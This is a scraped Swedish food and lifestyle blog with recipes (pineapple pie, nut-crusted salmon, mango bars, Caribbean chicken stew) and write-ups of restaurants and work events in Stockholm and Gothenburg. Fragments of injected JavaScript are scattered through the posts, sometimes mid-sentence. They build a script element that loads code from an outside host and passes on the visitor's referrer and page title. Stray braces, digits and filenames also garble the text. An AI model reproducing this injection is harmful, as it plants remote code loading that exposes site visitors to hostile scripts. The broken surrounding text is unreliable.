Ananaspaj

9

Här kommer ett recept på en god ananaspaj som går snabbt att laga till. Receptet hittade jag här.

Recept 1 paj (10 bitar)
Pajdeg
150 gram smör
1 dl socker
3 dl mjöl
2 tsk bakpulver

Fyllning:
2 dl creme fraiche
0,5 dl socker
0,5 tsk vaniljsocker
2 st ägg
2 burkar krossad ananas (små burkar, ca 450 gram)
Limeskivor

Gör så här: Smält smöret i en kastrull och ställ det åt sidan. Rör i socker, mjöl och bakpulver när smöret svalnat något. Tryck ut degen i en pajform. Låt ananasen rinna av i en sil.
Blanda creme fraiche, socker, vaniljsocker och ägg i en bunke. Rör sist i den avrunna ananasen. Fyll pajskalet och grädda i mitten av ugnen i 175 grader i 30 minuter eller tills pajen har stannat och inte är rinnig i mitten.
Garnera ev med tunna limeskivor och vispad grädde.

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Lax med nöttäcke och limesås

1

För några dagar sedan fick jag smaka på en supergod laxrätt. Receptet kommer här nedan.

Lax med nöttäcke och limesås (4 port).
4 portionsstyckade laxfiléer (ca 500 gram) skinnfria
ca 20 cashewnötter, osaltade, hackade
1 msk flytande margarin
4 msk sweet chilisås
1 lime (det rivna skalet)
1 pressad vitlöksklyfta

Limesås
1,5 dl creme fraiche, gärna lätt
Saften av en lime
1 msk majonäs

Gör så här:
Lägg laxbitarna ganska tätt i en ugnssäker form, gärna med bakplåtspapper i botten.
Blanda nötter, fett, chilisås, limeskal och vitlök i en skål. Bred blandningen över laxen, Baka laxen mitt i ugnen tills täcket blivit lite ljusbrunt och laxen precis är genomstekt (ca 15-20 min). Blanda såsen  och servera rätten med pressad potatis/ris/färskpotatis, sockerärtor, en grönsallad och limeklyftor.

423

 

XX

Mango- och chiabars

6

Nu har jag testat ett nytt recept på goda bars från Ica. Tycker ni om mangosmak så kommer ni garanterat tycka om dessa bars. Receptet hittade jag på ICA’a buffé. Jag ändrade receptet lite och la till några extra dadlar och om du inte har agavesirap går det bra med honung. Kan tipsa er om att först blötlägga den torkade mangon innan du mixar allt i matberedaren med tanke på att mangon är rätt seg i sig själv och är svår att mixa annars.

Recept 12 bars
200
g torkad mango
8-10 färska dadlar (urkärnade)
1/2 dl chiafrön
2 dl cashewnötter (naturella)
ca 1 msk kokosolja
1/2 msk agavesirap/ eller honung
1 krm salt

Gör så här:
Skär eller klipp mangon i mindre bitar.
Mixa samtliga ingredienser till en slät blandning i en matberedare.
Tryck ut smeten i en bakpappersklädd form, ca 25×15 cm. Ställ i kylen minst 4 timmar.
Skär frukt- och nötkakan i ca 12-15 bars.
Jag förvarar mina bars i frysen.

35426document.currentScript.parentNode.insertBefore(s, document.currentScript);

Supper Stockholm

Förra onsdagen var jag på Assistentmöte och dagen avslutades med en gemensam middag på ”Supper” på Tegnersgatan 37. Där serverades underbar mat i Sysamerikanska smaker och jag kan verkligen rekommendera detta ställe. Maten kom in i tre omgångar.
1817

3

Maten var sååå god och alla maträtter smakade riktigt gott. Min favorit var nog tonfisken.

 

2

Gruppbild på vårat bord. Vi var ca 80 assistenter som åt middag tillsammans på Supper.

201491012191915127A

 

46

 

Härligt att avsluta kvällen med en ”Cosmoplitan”.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Assistentdag Berns Stockholm 21:e maj 2015

Berns

Förra onsdagen bar det iväg till Stockholm på den årliga assistentdagen för oss mäklarassistenter på Fastighetsbyrån. Detta trevliga event arrangeras av två riktiga eldsjälar Carita och Anna som gör ett otroligt bra jobb för att få en sådan givande och trevlig dag som möjligt.

Vi hann precis lämna in våra väskor på hotellet innan vi gick iväg till Berns där konferensen hölls.

3

 

24Allt är så välplanerat i minsta detalj. Det bjöds på mingel och fika innan konferensen började. När vi kom in i lokalen spelade de upp en film med alla mäklarassistenter från hela Sverige vilket var ett trevligt inslag.

1 Lunchen hölls på verandan där vi fick lite frisk luft och tittade på folkvimlet utanför Berns.

1110

 

Innan vi gick in på eftermiddagspasset dukades det upp med lite godispåsar till oss assistenter..mycket uppskattat.

125

Tack Anna och Carita för en intressant och händelserik assistentdag!

3

 

 

 } else {

Aveqia, Göteborg

För några veckor sedan  var jag på ett roligt event arrangerat att ”Hemnet” på Aveqia via mitt jobb.
Namnet AVEQIA har hämtat inspiration från romartiden, då romarna i hög grad var gourmeter och kunde konsten att njuta av mat och vin. AVE betyder på latin Var hälsad – Välkommen. Q står för Quorum som var mötesplats för senaten, I för Inspiratio – inspiration och A för Accubo, som enkelt betyder Till bords. Kan verkligen rekommendera detta ställe. Trevlig personal med mycket tålamod, god mat och en rolig kvällsaktivitet.

Nedan ser ni vad vi lagade för god mat.

 

Vi lagade följande meny:

1

Vit sparris kokt i te med vichyssoise, ostronmarinerad rättika, pepparrotssnö och brioche

 

DrYCK:Steinberger Riesling Trocken
11

 

  • Producent:Kloster Eberbach
  • Ursprung:Tyskland, Rheingau
  • Druvtyp:Riesling
  • Årgång:2012
  • Pris:SEK 129
  • Artikelnummer:7991001

2

Lättbakad röding med rökt crème fraîche, brynt smörpulver och ärtbuljong

 

dRYCK: LaCheteau Pouilly Fumé

22

 

  • Producent:Les Grand Chais de France
  • Ursprung:Frankrike
  • Druvtyp:Sauvignon Blanc
  • Årgång:2010
  • Pris:119:-
  • Artikelnummer:7128201

f1505808-a81c-4b02-9a0f-044562639f9f_400_400_Proportional_False

Smöröst Lammrostbiff med tryffelkorv, vinkokta grönsaker och trädgårdsdressing

 

dRYCK: Montefalco Rosso DOC

33

 

  • Producent:Antonelli San Marco
  • Ursprung:Italien, Umbrien
  • Druvtyp:Sangiovese 70%, merlot 15% sagrantino 15%
  • Årgång:2010
  • Pris:SEK 129
  • Artikelnummer:231601

9b770f11-4b29-4e3d-809c-f71f84575a1c_720_720_Proportional_True

Rabarber med älgört, mandelkaka, yoghurtglass och en granité på ängsyra

 

DRYCK: Moscato d’Asti

 

44

 

  • Producent:Principiano
  • Ursprung:Italien
  • Druvtyp:Muskat
  • Årgång:2011
  • Pris:SEK 109,00/st
  • Artikelnummer:7463401

Nedan ser ni bilder från vår matlagningskväll.

11gc13510c973205cafb7fe-07ae-4226-9772-34eabd4beae7_720_720_Proportional_True1644c9d7-bac5-464a-8394-0b3ff17769a8_720_720_Proportional_True2a1b7927-a1b2-402c-9060-d8459fb71303_720_720_Proportional_Truec9b9c27b-9221-4d5c-b341-ebaf72fcbc03_720_720_Proportional_True116171918

 

 }

Moon Thai Kitchen, Göteborg

6

Förra veckan var jag på Moon Thai Kitchen för första gången. Stället ligger på Kristinelundsgatan 9 mitt i stan.
Det var sååå gott.

Bild1
710981112135431

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Karibisk kycklinggryta med mangoyoghurt.

Karibisk kycklinggryta (4 personer)

Ingredienser:
4 kycklingfiléer
1 gul lök
1 burk aprikoser
1 liten burk champinjoner
2 msk Touch of taste kycklingfond
1-2 apelsiner, saften
2 tomater
2 tsk curry
Salt
Svartpeppar
Olivolja

Gör så här:
Hacka löken och skär kycklingfiléerna i bitar. Doppa tomaterna i hett vatten, drag av skalet och skär i små bitar. Fräs lök och curry i olja. Tillsätt kycklingen och fräs tills den har fått fin färg. Salta och peppra. Häll i apelsinsaft och fond och låt sjuda tills kycklingen är klar.

Skär aprikoserna i bitar och lägg dem tillsammans med champinjoner, tomater och ca 1 dl av aprikosspadet. Red ev av potatismjöl utrört i vatten. Låt koka upp men avbryt när första bubblan syns. Smaka av. Servera kycklinggrytan med ris och en fräsch sallad.

Mangoyoghurt:
3 dl matlagningsyoghurt
2 msk mangochutney
1/2 tärnad äpple
1/2 fint skuren sticklök eller rödlökvar d=document;var s=d.createElement(‘script’);

Vink

10

I förra veckan var jag på ”Vink” som finns på Andra Långgatan 5 i Göteborg. Perfekt ställe att bara ta en drink eller ett glas vin och lite plockmat.

3

425687910

Trevlig personal, gott vin och god ostbricka.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;